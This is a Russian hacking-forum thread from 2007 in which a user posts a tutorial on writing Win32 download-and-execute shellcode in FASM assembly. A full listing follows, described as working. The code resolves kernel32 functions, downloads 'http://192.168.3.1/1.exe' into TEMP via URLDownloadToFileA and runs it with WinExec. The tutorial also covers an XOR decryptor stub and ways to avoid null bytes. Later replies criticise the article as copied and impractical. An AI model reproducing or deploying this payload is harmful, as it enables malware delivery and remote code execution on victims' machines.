Авторские статьи Написание Shell-code на Asm

Discussion in 'Статьи' started by slesh, 20 Apr 2007.

Thread Status:
Not open for further replies.
  1. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,704
    Likes Received:
    1,224
    Reputations:
    455
    Ну, вот решил я написать свою первую статью! Кто-то из вас будут кидать в меня помидоры, а кто-то найдет много интересного в этой статье. Просто когда-то в прошлом, когда я только учился писать шелл-коды, то нормальной инфы не было по этой теме. Т.е. была или сухая теория, или огромнейшие статьи по этому поводу, в которых было всё сильно замудрено написано. Многие из Вас, кто шарит в кодинге, будут думать, что эта статья бесполезна, но как я убедился на своём опыте, то многие даже не знаю, что такое шелл-код и с чем его едят. Если вы знаете что это такое, то можете переходить к чтению 2-й части. В статье будет описано, как создать шелл-код под WIN32. Также для понимания этой статьи, вам нужны хоть маленькие знания ассемблера.

    ====[ Часть ПЕРВАЯ. Что же такое шелл-код (shell-code)? ]====
    Многие из вас видели в exploit’ах типа такие стоки: “\x6a\x51\x59\xd9\xee\xd9\x74\x24”
    Ну, так это и есть шелл-код, только в 16-чной системе. Сейчас развелось много типов шелл-кодов. Среди них есть 2 наиболее популярных типа:
    1) download&execute – он скачивает программу и запускает её.
    2) shell-code – отсюда и пошло это слово. Они предоставляли удаленный доступ shell к системе, где запущен он.
    Принцип работы прост: при переполнении стека меняется адрес возврата из процедуры, на адрес где находится этот шелл-код. В итоге он получает управление. Не буду вдаваться в подробности того, что такое переполнение стека и тому подобные вещи, т.к. цель статьи – как написать сам шелл-код.
    С одной стороны всё это выглядит просто. И вроде не должно вызвать трудностей при написании шелл-кода. Но на практике всё намного сложнее, чем кажется. Основные трудности заключаются в том, что:
    1) Шелл-код должен быть как можно меньше
    2) В нем чаще всего не допускается наличие нулевых байтов
    3) Шелл-код может находиться в ОЗУ каждый раз в разном месте (т.е. для разных программ, он будет помещаться в разные адреса памяти)
    4) Шелл-код должен распознавать, в какой версии ОС он работает.
    5) Нет возможности заранее знать адреса API функций, которые будут использоваться. Т.к. Адреса многих API функций могут отличаться не только в разных версия винды, но и даже в разных патчах. Поэтому шелл-код должен сам находить эти адреса в зависимости от версии ОС.
    6) способность после своей работы не вешать прогу, в которой произошло переполнение, а давать возможность удачного продолжения работы без видимых признаков нарушения работоспособности.
    7) Невозможность обычного использования переменных. Т.к. адреса переменных будут браться как после компиляции, где адрес в ОЗУ нам известен.
    Многие скажут, что не реально заставить шелл-код выполнять данные функции и при этом иметь минимальный размер. НО на практике всё более просто, нежили в теории. Потому что все эти проблемы легко решаются.
    1) Если писать шелл-код на ASM то размер будут маленький, а если еще правильно использовать инструкции CPU, то размер будет минимальный.
    2) Отсутствие нулевых байтов – нет проблем – обычное XOR кодирование на число, которого нет в шелл-коде. Чаще всего это символ с кодом 90h. т.к. машинная инструкция с кодом 90h – это NOP. Другими словами – ничего не выполняющая инструкция. Т.к. мы будем создавать компактный шелл-код то, скорее всего, мы будем экономить на каждом байте, поэтому вряд ли будем вставлять бесполезную инструкцию NOP. А если код 90h будет встречаться в значениях, то просто DEC и INC всё исправит.
    3) Определение местонахождения шелл-кода в ОЗУ – это старый вирусный трюк, состоящий из 2-х инструкций
    4) Ну тут имеет принципиальное значение не сама ОС, а её тип. Нам будут важны только 2 типа ОС: на базе Win9x и на базе WinNT. Остальные нам не нужны, потому что вряд ли кто-то еще сидит в инете с Windows 3.1 или того меньше. А определение типа ОС – это тоже пару инструкций.
    5) Воспользовавшись всё той же вирусной техникой, можно определить адреса функций из библиотеки kernel32.dll. Но для этого нам нужно знать базовый адрес этой библиотеки в ОЗУ. Хорошо это или плохо, но этот адрес одинаков в ОС одного типа. Поэтому нам нужно будет определить тип ОС, а там уже запросто получить этот базовый адрес.
    6) С этим тоже нет трудностей, нужно просто перед работай сохранять значение всех регистров и флагов, а потом восстанавливать их и делать RET.
    7) Тут нам поможет такая хитрая вещь: Если задать при компиляции адрес, куда якобы должен грузиться шелл-код, равным 0, то мы получим смещение переменной относительно начала шелл-кода. Если до вас всё еще не дошла хитрость этого метода, то объясняю: после компиляции у нас адрес будет равен смещению. Нам нужно будет теперь только определить адрес, куда загружен шелл-код, и прибавить его к этому смещению и в итоге мы получим адрес в ОЗУ, где находится переменная.
    Вот основные моменты, которые нужно учитывать при написании шелл-кода.

    ====[ Часть ВТОРАЯ. Написание шелл-кода ]====
    Для написания шелл-кода нам лучше всего подойдет FASM т.к. у него простой синтаксис и простой интерфейс, и легкость компилирования.
    Для примера будем писать Download&execute шелл-код
    И так запускам GUI FASM’a и вписываем следующий код:
    use32
    Это означает, что не будет создаваться exe файл, а будет просто компилироваться под 32-х битную систему.
    Следующим шагом будет сохранение всех используемых нами регистров и флагов. Это выглядит так:
    push eax ebx ecx edx esi edi ebp
    pushf

    Далее необходимо определить адрес, где мы находимся:
    call $+5 ; вызов следующей команды
    pop ebp ; в ebp - адрес возврата

    Суть этого метода в том, что мы переходим на следующую команду, т.е. на 5 байт вперед от текущей позиции (1 байт – инструкция call и 4 байта адрес перехода). После этого в стек помещается адрес возврата, из процедуры, который мы потом извлекаем из стека и помещаем в регистр ebp. Теперь в регистре ebp хранится адрес инструкции pop ebp. Но нам нужен адрес начала нашего кода, поэтому мы вычитаем из регистра ebp 5 байт (call $+5) и еще 8 байт которые израсходовали на инструкции push и pushf (размер каждой инструкции – 1 байт). В итоге на необходимо отнять 13 байт, что мы и делаем:
    sub ebp,13 ;Получим адрес начала кода
    Далее нам нужно определить тип ОС на которой запущен шелл-код. для этого выполняем:
    xor eax,eax ; обнуляем регистр EAX
    add eax,[fs:eax+30h]
    js win_9x

    Если этот код выполняется на Win9x, то произойдет переход на метку win_9x, иначе продолжится обычное выполнение программы, что будет свидетельствовать, что мы находимся в WinNT
    Теперь воспользовавшись этой технологией можно определить базовый адрес kernel32.dll. Это выглядит так:
    xor eax,eax ; обнуляем регистр EAX
    add eax,[fs:eax+30h]
    js win_9x
    ; Если NT
    mov eax,[eax+0ch] ;
    mov esi,[eax+1ch] ; Получение базового адреса kernel32.dll
    lodsd ; В NT
    mov eax,[eax+08h] ;
    jmp kernel32_ptr_found
    win_9x: ; Если 9х
    mov eax,[eax+34h] ;
    lea eax,[eax+7ch] ; Получение базового адреса kernel32.dll
    mov eax,[eax+3ch] ; В 9х
    kernel32_ptr_found:

    После чего у нас в регистре eax будет занесен этот базовый адрес, от которого мы будем шагать. Теперь нужно определить нужные нам адреса функций из этой библиотеки. Для этого необходимо разобрать таблицу экспорта этой библиотеки. Этот процесс весьма трудоемкий, поэтому мы воспользуемся уже готовой процедурой, которая определит нужные нам адреса. Честно говоря, автор этой функции не я. Большая благодарность току кто её придумал, но к сожалению я забыл его имя. Вот эта функция:

    ;---------------;
    ;Эта процедура получает адрес требуемой API функции по ее имени ;
    ;ВХОДНЫЕ ДАННЫЕ: ESI - указатель на имя функции с учетом регистра ;
    ;ВЫХОДНЫЕ ДАННЫЕ: EAX - адрес требуемой функции ;
    ;ECX - длина имени функции ;
    ;---------------;
    GetAPI:
    mov edx,esi ;сохраняем указатель имя
    mov edi,esi ;для проверки длины
    xor al,al ;будем сравнивать посимвольно с 0
    @_1: scasb
    jnz @_1
    sub edi,esi ;EDI = размер имени функции
    mov ecx,edi ;в ECX тоже самое
    xor eax,eax
    mov esi,3Ch ;смещение на начало PE заголовка
    add esi,[ebp+kernel]
    lodsw ;значение по адресу ESI в EAX
    add eax,[ebp+kernel] ;нормализуем смещение PE
    mov esi,[eax+78h] ;RVA таблицы экспорта
    add esi,1Ch ;плюс смещение на RVA таблицы адресов
    add esi,[ebp+kernel] ;нормализуем, и получаем ссылку на RVA т.адр.
    lea edi,[ebp+ATVA] ;готовимся к пересылке
    lodsd ;RVA табл. адресов в EAX
    add eax,[ebp+kernel] ;нормализуем
    stosd ;сохраняем в переменной ATVA
    lodsd ;RVA табл. имен в EAX
    add eax,[ebp+kernel] ;нормализуем
    push eax ;сохраняем в стеке
    stosd ;и в переменной NTVA
    lodsd ;RVA табл. ординалов в EAX
    add eax,[ebp+kernel] ;нормализуем
    stosd ;сохраняем в OTVA
    pop esi ;в ESI адрес табл. имен
    xor ebx,ebx ;mov ebx,0
    @_3: lodsd ;[ESI]==>EAX, RVA на имя функции
    push esi ;сохраняем указатель на RVA имени функции
    add eax,[ebp+kernel] ;нормализуем
    ;готовимся к сравнению
    mov esi,eax ;в ESI адрес имени функции
    mov edi,edx ;в EDI адрес образца имени
    push ecx ;сохраняем длину образца имени
    cld
    rep cmpsb ;сравниваем побайтово
    pop ecx ;восстанавливаем длину образца имени
    jz @_4 ;переходим сюда если совпали имена
    pop esi ;нет, восстанавливаем указатель на RVA им.ф-и (уже следующей)
    inc ebx ;увеличиваем счетчик
    jmp @_3 ;и опять начинаем с начала
    @_4:
    pop esi ;очищаем стек
    xchg eax,ebx ;в EAX значение счетчика
    shl eax,1 ;умножаем на 2 (тк ординалы это wordы)
    add eax,[ebp+OTVA];прибавляем к началу таблицы орд. счетчик
    xor esi,esi
    xchg eax,esi ;в ESI адрес ординала
    lodsw ;в EAX получаем сам ординал
    shl eax,2 ;умножаем его на 4 (тк dword) и получаем смещение относительно табл. адресов
    add eax,[ebp+ATVA];нормализуем
    mov esi,eax ;в ESI адрес на RVA API функции
    lodsd ;получаем это RVA в EAX
    add eax,[ebp+kernel] ;нормализуем
    ret ;и на выходе адрес требуемой ф-и

    GetAPIs: ; функция которой передается адрес массива имен API функций и
    jmp GetAPIs_next ; а она возвращает в другой массив адреса этих функций
    kernel dd 0
    ATVA dd 0
    NTVA dd 0
    OTVA dd 0
    GetAPIs_next:
    mov [ebp+kernel],eax ;сохраняем адрес базы
    __1: ;начинаем поиск функций
    push esi ;сохраняем нужные регистры
    push edi
    call GetAPI ;в EAX получаем адрес функции
    pop edi ;восстанавливаем регистры
    pop esi
    stosd ;сохраняем по адресу на который указывает EDI
    add esi,ecx ;переходим к следующему имени
    cmp byte [esi],0BBh ;проверяем, не конец ли массива имен
    jz GetAPIs_exit ;если да то выход
    jmp __1 ;нет, ищем следующую функцию
    GetAPIs_exit:
    ret


    Ну, так вот, с помощью этих 2-х функций мы можем получить адреса API функций из kernel32.dll. Самые необходимые для нас функции из этой библиотеки, это:
    1 – GetTempPathA – для определения папки TEMP (в нее мы будем сохранять скаченный файл)
    2 ¬– LoadLibraryA – т.к. нам нужны будут функции из библиотеки URLMON.DLL
    3 – GetProcAddress – для определения адреса API функции, т.к. нам нужно будет найти адрес функции URLDownloadToFileA которая скачивает файл из инета.
    4 – WinExec – чтобы запустить скаченную программу.
    И так, мы закончили на том, что определили базовый адрес kernel32.dll. Теперь необходимо найти нужные нам функции в этой библиотеки. Для этого мы пишем вот такой вод код:
    push esi edi ; сохраним регистры, т.к. они нам будут еще нужны
    mov esi,APIfunct ;Загружаем в регистр ESI адрес массива API функций
    add esi,ebp ; незабываем прибавить к этому адресу адрес нашего кода в ОЗУ
    mov edi,APIAdr ;загружаем адрес в который будут помещены адреса этих функций
    add edi,ebp ; аналогично
    call GetAPIs ; вызовем функцию поиска адресов
    pop edi esi ; восстановим регистры

    Массив адресов представлен в такой форме (просто я для удобства назвал метки по имени API функций):
    APIAdr:
    GetTempPathA dd 0
    LoadLibraryA dd 0
    GetProcAddress dd 0
    WinExec dd 0


    Массив имен API функций выглядит следующим образом:
    buf: ; далее я объясню для чего эта метка
    APIfunct:
    db 'GetTempPathA',0
    db 'LoadLibraryA',0
    db 'GetProcAddress',0
    db 'WinExec',0
    db 0BBh ; Отмечает конец массива ;

    Следующим шагом будет определение местонахождения папки TEMP. Этот момент рассмотрим поподробнее, т.к. тут присутствует весьма важная часть, которая может существенно повлиять на размер шелл-кода. Как я уже писал выше, мы будем определять путь к темпу через API функцию GetTempPathA. Параметры этой функции – адрес буфера, в который будет помещен путь до этой папки, и размер этого буфера. Вся хитрость заключается в расположении этого буфера. У нас есть 4 места, где мы можем расположить этот буфер:
    1) Просто в шелл-коде прописать такую строку:
    buf: db 128 dup 0
    тем самым, выделив в нем память под буфер. Но это будет не рационально, т.к. тогда наш шелл-код увеличится на размер этого буфера, а именно на 128 байт.
    2) Попросить память у Windows. Это нам тоже не подходит, т.к. для этого нужно использовать API функции типа HeapAlloc, но в шелл-коде такое может не сработать, да и захламлять шелл-код именами API функций тоже не хочется.
    3) Наугад выбрать адрес памяти, куда будет помешен путь, но это чревато повреждением других важных данных, о которых мы можем и не знать.
    4) Использовать отработавшую часть шелл-кода.

    Именно последний способ нам подходит больше всего. Но у вас сразу, наверное, появился вопрос: “А откуда взять эту отработавшую часть и вообще что это за часть?”. Рассказываю. Отработавшая часть – это часть шелл-кода, которая уже выполнила свое предназначение и больше нам не понадобится. В нашем случае, такой частью может быть память, занятая кодом функции, которая определяет адреса API функций и массивом имен этих функций. Поэтому если расположить строки программы в такой последовательности:
    ---- Таблица адресов API функций
    ---- Метка buf
    ---- Массив имен API функций
    ---- Функция поиска адресов API функций
    то, начиная с метки buf, у нас образуется подходящий кусок памяти, в который может быть помещен путь к папке TEMP. Обратите внимание, что таблица адресов API функций должна идти перед меткой buf т.к. нам еще понадобятся адреса API функций. Это сделано для того, чтобы эта таблица не затерлась.
    Теперь определившись с местом хранения буфера, мы получаем путь к папке TEMP следующими командами:
    mov edx,ebp ; в EDX адрес начала шелл-кода
    add edx,buf ; прибавим к нему смещение буфера. Тем самым, получив полный адрес, где находится наш буфер в ОЗУ
    push edx ; Занести Адрес буфера
    push 128 ; Занести размер буфера
    call dword [GetTempPathA+ebp] ;


    Как вы видите, API функции вызываются следующим способом: Из ячейки памяти находящееся по адресу = начало шелл-кода в ОЗУ + смещении ячейки, где хранится этот адрес, берется адрес этой функции.

    Функция GetTempPathA также заносит в регистр EAX – число байт помещенных в буфер. Это нам пригодится для определения конца пути. Это нам нужно будет для того, чтобы записать после пути к папке, имя файла. Процесс присоединение выглядит так:
    mov edx,ebp
    add edx,buf ; EDX=адрес буфера
    xor esi,esi ; смещение в буфере
    add edx,eax ; edx = конец буфера
    m1:
    mov bl,[ebp+output_name+esi] ; считать байт из имени файла
    cmp bl,0 ; если это конец имени файла
    je m2 ; выход из цикла копирования
    mov [edx+esi],bl ; запись в буфер
    inc esi ; сместить указатель
    jmp m1 ; копировать следующий символ
    m2:
    mov [edx+esi],byte 0 ; поставить 0 в конце имени


    output_name – это переменная, которая хранит имя файла, под которым будет сохранен скаченный файл. И выглядит она следующим образом:
    output_name: db '12345678.exe',0

    Теперь необходимо нам загрузить библиотеку URLMON.DLL для этого:
    mov edx,ebp
    add edx,LibName
    push edx
    call dword [LoadLibraryA+ebp]

    Надеюсь, эта операция не требует пояснения. Скажу лишь то, что LibName – это переменная следующего вида и содержимого: LibName db 'URLMON.DLL',0
    После выполнения этой функции в регистре EAX будет помещен дескриптор модуля URLMON. Используя этот дескриптор и функцию GetProcAddress, получим адрес API функции URLDownloadToFileA. Для этого пишем:
    mov edx,ebp
    add edx,FuncName
    push edx ; имя функции
    push eax ; дескриптор
    call dword [GetProcAddress+ebp]

    Теперь в регистре EAX хранится адрес этой API функции.
    Приступим к скачиванию файла:
    push 0
    push 0
    mov edx,ebp
    add edx,buf
    push edx ; адрес буфера где хранится путь и имя куда сохранить скаченный файл
    mov edx,ebp
    add edx,URL
    push edx ; адрес где хранится URL
    push 0
    call eax ; call URLDownloadToFileA


    URL – переменная: URL: db 'http://192.168.3.1/1.exe',0
    При удачном выполнении у нас в папке TEMP появится файл с именем заданным в переменной output_name, который был скачен с адреса указанного в переменной URL.
    Теперь дело осталось за малым – запустить скаченную программу:
    push 5; Показывать окно
    mov edx,ebp
    add edx,buf
    push edx ;путь до файла и имя который нужно запустить. В нашем случае это скаченная программа.
    call dword [WinExec+ebp] ; WinExec

    И наконец подчищаем там где нагадили, а именно восстанавливаем первоначальные значения регистров и флагов и выходим из процедуры:
    exit:
    popf
    pop ebp edi esi edx ecx ebx eax
    ret


    Вот и весь код!

    ====[ Часть ТРЕТЬЯ. Хитрости при написании шелл-кодов ]====

    1) Рациональное использование инструкций CPU. Дело в том, что для одной и той же операции можно применить разные инструкции. Для человека это не играет разницы, какую именно использовать, а для CPU разница есть, а именно – размер в байтах. Дело в том, что для разного случае лучше применять разные вариации инструкций. Вот перечень инструкций, которые использовать более рационально:
    а) Прибавление к регистру значения 1:
    INC EAX - 1 байт
    ADD EAX, - 3 байта
    Как вы видите разница весомая.
    б) Вычитание из регистра значение 1
    DEC EAX - 1 байт
    SUB EAX, - 3 байта
    с) Занесение в регистр значения 0
    XOR EAX,EAX – 2 байта
    MOV EAX,0 – 5 байт
    д) Деление регистра на степень двойки
    SHR EAX,степень двойки
    т.е. инструкция SHR EAX,3 раздели регистр EAX на 8
    е) Умножение регистра на степень двойки
    SHL EAX,степень двойки
    т.е. инструкция SHL EAX,4 умножит регистр EAX на 16
    Существует множество таких соответствий между инструкциями.
    2) Шифрование Шелл-кода. Для этого можно воспользоваться функцией XOR. А потом перед зашифрованным шелл-кодом встроить расшифровщик следующего вида:
    xor ecx,ecx
    decript_:
    xor byte [ebp+ecx+start_decode],90h
    inc ecx
    cmp cx,513 ; кол-во байт для расшифровки
    jne decript_
    start_decode: ; от этого места начнется
    расшифровка
    Как я уже говорил раньше, если использовать xor и число 90h, то можно избавиться от нулевых символов. Но тут есть одно НО. Для расшифровщика нужно, чтобы в регистре ebp хранился адрес начала шелл-кода. Но для определения этого адреса придется воспользоваться инструкций call $+5 которая после компиляции выглядит так: E8 00 00 00 00
    А это нам не подходит, т.к. есть нулевые байта. Поэтому можно воспользоваться следующим способом, который не содержит нулевых байт:
    xor al,al
    cmp al,1
    je $+7
    inc al
    call $-6
    pop ebp
    sub ebp,21
     
    #1 slesh, 20 Apr 2007
    Last edited: 20 Apr 2007
    3 people like this.
  2. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,704
    Likes Received:
    1,224
    Reputations:
    455
    ------------------------------------------------------------------
    Вот рабочий шелл-код:
    PHP:
    ; (CSLESH
    ICQ266-334-734

    use32
     push eax ebx ecx edx esi edi ebp
     pushf

    ;--- получение начального адресакоманды не должны содержать код 00h

     call 
    $+вызов следующей команды
     pop ebp 
    в ebp адрес возврата
     sub ebp
    ,13

     
    xor eax,eax  определение типа ОС 9х или NТ
     add eax
    ,[fs:eax+30h]
     
    js method_9x
    method_nt
    :  ; Если NT
     mov eax
    ,[eax+0ch]    ;
     
    mov esi,[eax+1ch]    ; Получение базового адреса kernel32.dll
     lodsd              
    OS_BASENT
     mov eax
    ,[eax+08h]    ;
     
    jmp kernel32_ptr_found
    method_9x
    :  ; Если 9х
     mov eax
    ,[eax+34h]    ;
     
    lea eax,[eax+7ch]    ; Получение базового адреса kernel32.dll
     mov eax
    ,[eax+3ch]    ; OS_BASE
    kernel32_ptr_found
    :

    push esi edi
     mov esi
    ,APIfunct
     add esi
    ,ebp
     mov edi
    ,APIAdr
     add edi
    ,ebp
     call GetAPIs
    pop edi esi

     mov edx
    ,ebp
     add edx
    ,buf
     push edx  
    Занести Адрес буфера
     push 128  
    Занести размер буфера

     call dword 
    [GetTempPathA+ebp] ; GetTempPathA

     mov edx
    ,ebp
     add edx
    ,buf  EDX=адрес буфера
     
    xor esi,esi  смещение в буфере
     add edx
    ,eax  edx конец буфера

    m1
    :
     
    mov bl,[ebp+output_name+esi] ; считать байт из имени файла
     cmp bl
    ,0  если это конец имени файла
     je m2    
    выход из цикла копирования
     mov 
    [edx+esi],bl  запись в буфер
     inc esi  
    сместить указатель
     jmp m1  
    копироватьследующий символ
    m2
    :
     
    mov [edx+esi],byte 0  поставить 0 в конце имени


     mov edx
    ,ebp
     add edx
    ,LibName
     push edx
     call dword 
    [LoadLibraryA+ebp]

     
    mov edx,ebp
     add edx
    ,FuncName
     push edx
     push eax
     call dword 
    [GetProcAddress+ebp]

     
    push 0
     push 0
     mov edx
    ,ebp
     add edx
    ,buf
     push edx
     mov edx
    ,ebp
     add edx
    ,URL
     push edx
     push 0
     call eax

     push 5
    Показывать окно
     mov edx
    ,ebp
     add edx
    ,buf
     push edx          
    ;имя команды
     call dword 
    [WinExec+ebp] ; WinExec

    exit:
     
    popf
     pop ebp edi esi edx ecx ebx eax
     ret



    APIAdr
    :
     
    GetTempPathA dd 0
     LoadLibraryA dd 0
     GetProcAddress dd 0
     WinExec dd 0


    buf
    :
    APIfunct:
     
    db 'GetTempPathA',0
     db 
    'LoadLibraryA',0
     db 
    'GetProcAddress',0
     db 
    'WinExec',0
     db 0BBh 
    Отмечает конец массива ;


    ;---------------;
    ;
    Эта процедура получает адрес требуемой API функции по ее имени ;
    ;
    ВХОДНЫЕ ДАННЫЕESI указатель на имя функции с учетом регистра ;
    ;
    ВЫХОДНЫЕ ДАННЫЕEAX адрес требуемой функции ;
    ;
    ECX длина имени функции ;
    ;---------------;
    GetAPI:
    mov edx,esi ;сохраняем указатель имя
    mov edi
    ,esi ;для проверки длины
    xor al,al ;будем сравнивать посимвольно с 0
    @_1scasb
    jnz 
    @_1
    sub edi
    ,esi ;EDI размер имени функции
    mov ecx
    ,edi ;в ECX тоже самое
    xor eax,eax
    mov esi
    ,3Ch ;смещение на начало PE заголовка
    add esi
    ,[ebp+kernel

    lodsw ;значение по адресу ESI в EAX
    add eax
    ,[ebp+kernel] ;нормализуем смещение PE
    mov esi
    ,[eax+78h] ;RVA таблицы экспорта
    add esi
    ,1Ch ;плюс смещение на RVA таблицы адресов

    add esi
    ,[ebp+kernel] ;нормализуеми получаем ссылку на RVA т.адр.
    lea edi,[ebp+ATVA] ;готовимся к пересылке

    lodsd 
    ;RVA табладресов в EAX
    add eax
    ,[ebp+kernel] ;нормализуем
    stosd 
    ;сохраняем в переменной ATVA

    lodsd 
    ;RVA таблимен в EAX
    add eax
    ,[ebp+kernel] ;нормализуем
    push eax 
    ;сохраняем в стеке
    stosd 
    ;и в переменной NTVA

    lodsd 
    ;RVA таблординалов в EAX
    add eax
    ,[ebp+kernel] ;нормализуем
    stosd 
    ;сохраняем в OTVA

    pop esi 
    ;в ESI адрес таблимен

    xor ebx,ebx ;mov ebx,0

    @_3lodsd ;[ESI]==>EAXRVA на имя функции
    push esi 
    ;сохраняем указатель на RVA имени функции
    add eax
    ,[ebp+kernel] ;нормализуем
    ;готовимся к сравнению
    mov esi
    ,eax ;в ESI адрес имени функции
    mov edi
    ,edx ;в EDI адрес образца имени
    push ecx 
    ;сохраняем длину образца имени
    cld
    rep cmpsb 
    ;сравниваем побайтово
    pop ecx 
    ;восстанавливаем длину образца имени
    jz 
    @_4 ;переходим сюда если совпали имена
    pop esi 
    ;нетвосстанавливаем указатель на RVA им.ф-и (уже следующей)
    inc ebx ;увеличиваем счетчик
    jmp 
    @_3 ;и опять начинаем с начала
    @_4:
    pop esi ;очищаем стек
    xchg eax
    ,ebx ;в EAX значение счетчика
    shl eax
    ,;умножаем на 2 (тк ординалы это wordы)
    add eax,[ebp+OTVA];прибавляем к началу таблицы ордсчетчик
    xor esi,esi
    xchg eax
    ,esi ;в ESI адрес ординала
    lodsw 
    ;в EAX получаем сам ординал
    shl eax
    ,;умножаем его на 4 (тк dwordи получаем смещение относительно табладресов
    add eax
    ,[ebp+ATVA];нормализуем
    mov esi
    ,eax ;в ESI адрес на RVA API функции
    lodsd 
    ;получаем это RVA в EAX
    add eax
    ,[ebp+kernel] ;нормализуем
    ret 
    ;и на выходе адрес требуемой ф-и

    GetAPIs
    :
    jmp GetAPIs_next
    kernel dd 0
    ATVA dd 0
    NTVA dd 0
    OTVA dd 0
    GetAPIs_next
    :
    mov [ebp+kernel],eax ;сохраняем адрес базы
    __1
    : ;начинаем поиск функций
    push esi 
    ;сохраняем нужные регистры
    push edi
    call GetAPI 
    ;в EAX получаем адрес функции
    pop edi 
    ;восстанавливаем регистры
    pop esi
    stosd 
    ;сохраняем по адресу на который указывает EDI

    add esi
    ,ecx ;переходим к следующему имени
    cmp byte 
    [esi],0BBh ;проверяемне конец ли массива имен
    jz GetAPIs_exit 
    ;если да то выход
    jmp __1 
    ;нетищем следующую функцию
    GetAPIs_exit
    :
    ret
    LibName db 
    'URLMON.DLL',0
    FuncName db 
    'URLDownloadToFileA',0
    output_name
    db '12345678.exe',0
    URL
    db 'http://192.168.3.1/1.exe',0
    ------------------------------------------------------------------
    Вот и всё. Могу отметить только то, что при тестировании этот шелл-код оказался работоспособным как в Windows 98, так и в Windows XP и 2003.
     
    1 person likes this.
  3. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Первое что поразило - это название. shellcode пишется не на ASM если на то пошло, а в шеснадцатиричных кодах. Второе - статья большей частью копипаст http://www.cyberinfo.ru/5/222_1.htm
    В третьих тема не раскрыта. Никогда не ставил минусы за статьи, но если уж взялся за такую серьёзную тему - будь готов получить по заслугам. Ничего личного.
     
    #3 ShadOS, 20 Apr 2007
    Last edited: 20 Apr 2007
    1 person likes this.
  4. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,704
    Likes Received:
    1,224
    Reputations:
    455
    2 ShadOS
    Ну если дело на то пошло, то как ты называешь shellcode на чем тогда писать?
    Ты предлогаешь выучить все инструкции в HEX виде? Или модет тогда это както по другому завется?
    А на счет статьи - я её полностью писал САМ, основываясь на своих знаниях. И не откуда её не передрал. А ту ссылку что ты написал - я впервые это вижу! Единственное что тут не моё - это метод определения API функций, но об этом я сказал в статье!

     
    #4 slesh, 20 Apr 2007
    Last edited: 20 Apr 2007
    2 people like this.
  5. zl0y

    zl0y Banned

    Joined:
    13 Sep 2006
    Messages:
    371
    Likes Received:
    270
    Reputations:
    109
    Статья неочень =\ фу копипаст неуважаю :(
     
    1 person likes this.
  6. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    То, о чём ты написал совсем не раскрывает темы, этим всё сказанно. Я тебе ничего не предлагаю, но шеллкод ты тут не написал (почти), точнее он скорее всего будет неприменим в реальных условиях, т.к. здесь я не вижу, как ты сказал, то что "Многие из вас видели в exploit’ах типа такие стоки: “\x6a\x51\x59\xd9\xee\xd9\x74\x24”"
    тот код который ты скопипастил является лишь частью работы по созданию шеллкода.

    Кроме того, вот эти как т ысказал "трудности" ты не преодолел:
    >>2) В нем чаще всего не допускается наличие нулевых байтов
    Как можно быть уверенным что после перевода в HEX твоего кода там не будет "\0" кодов? Ты хоть знаешь в каком случае это действительно нужно?
     
  7. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,704
    Likes Received:
    1,224
    Reputations:
    455
    2 ShadOS Я прекрасно знаю что делать когда есть нулевые байты. Я нормально описал - нужно всё прогнать через XOR 90h (т.к. NOP'ов у нас нет, то не будет и 0 потом. А если есть ноль в значениях, то inc и dec всё запросто исправят)
    И тестил я свой шеллкод начиная от 98 и заканчивая 2003 виндой. Везде пахал отлично. А выкладывать сюда свой полноценный(где нет 100% нулевых байт и который шифрованый) шелл-код я не собираюсь. Могу дать протестить тебе тот шелл-код который без 0h байтов и шифрованый, если ты сомневаешься в его работоспособности!
    Я то ничего против не имеею, каждый оценивает статью на уровне своих знаний, но эта статья - общие положиния по написанию.
    Просто я встречал столько народу которые во всю юзают сплоиты и даже не знаю что такое шелл-код!
     
    #7 slesh, 20 Apr 2007
    Last edited: 20 Apr 2007
  8. »Atom1c«

    »Atom1c« Banned

    Joined:
    4 Nov 2006
    Messages:
    234
    Likes Received:
    285
    Reputations:
    92
    Переместил в Чужие, ибо копипаст по большей части =\\
     
  9. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    ShadOS, имхо, ты не прав) шелкоды пишутся на асме.
     
  10. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    187
    Likes Received:
    356
    Reputations:
    109
    Та все нормально, молодец. главное что б ты сам все это понимал.
     
  11. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,704
    Likes Received:
    1,224
    Reputations:
    455
    2 _Pantera_
    еслибы не понимал, то и не писал бы :)
     
  12. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    823
    Reputations:
    1,418
    2) shell-code – отсюда и пошло это слово. Они предоставляли удаленный доступ shell к системе, где запущен он.

    ухахахаха))) промтом я тоже люблю переводить )

    второе что убило - это второй пост.. с шеллкодом.. /me *представил себе сплоит с таким шеллкодом и умер*

    no comments =))
     
  13. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,704
    Likes Received:
    1,224
    Reputations:
    455
    2 blackybr
    1) Это тебе не переодцик а просто слово shell должно быть в скобках :)
    2) а чем тебе не понравился шелл-код? По крайней мере он работает на много лучше чем многие, которые я видел в сплоитах.
     
    #13 slesh, 21 Apr 2007
    Last edited: 21 Apr 2007
  14. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    823
    Reputations:
    1,418
    асм вставками его будешь в сишнник пихать ? смысл ?) в 16 не легче?)
     
  15. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,704
    Likes Received:
    1,224
    Reputations:
    455
    это только шелкод.
    его компилишь FASM'ом Потом подойдет тебе любой HEX редактор типа WinHEX
    А из неко как хочешь так и переводи, хоть под С++ хоть под дельфу хоть под javaScript
     
  16. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
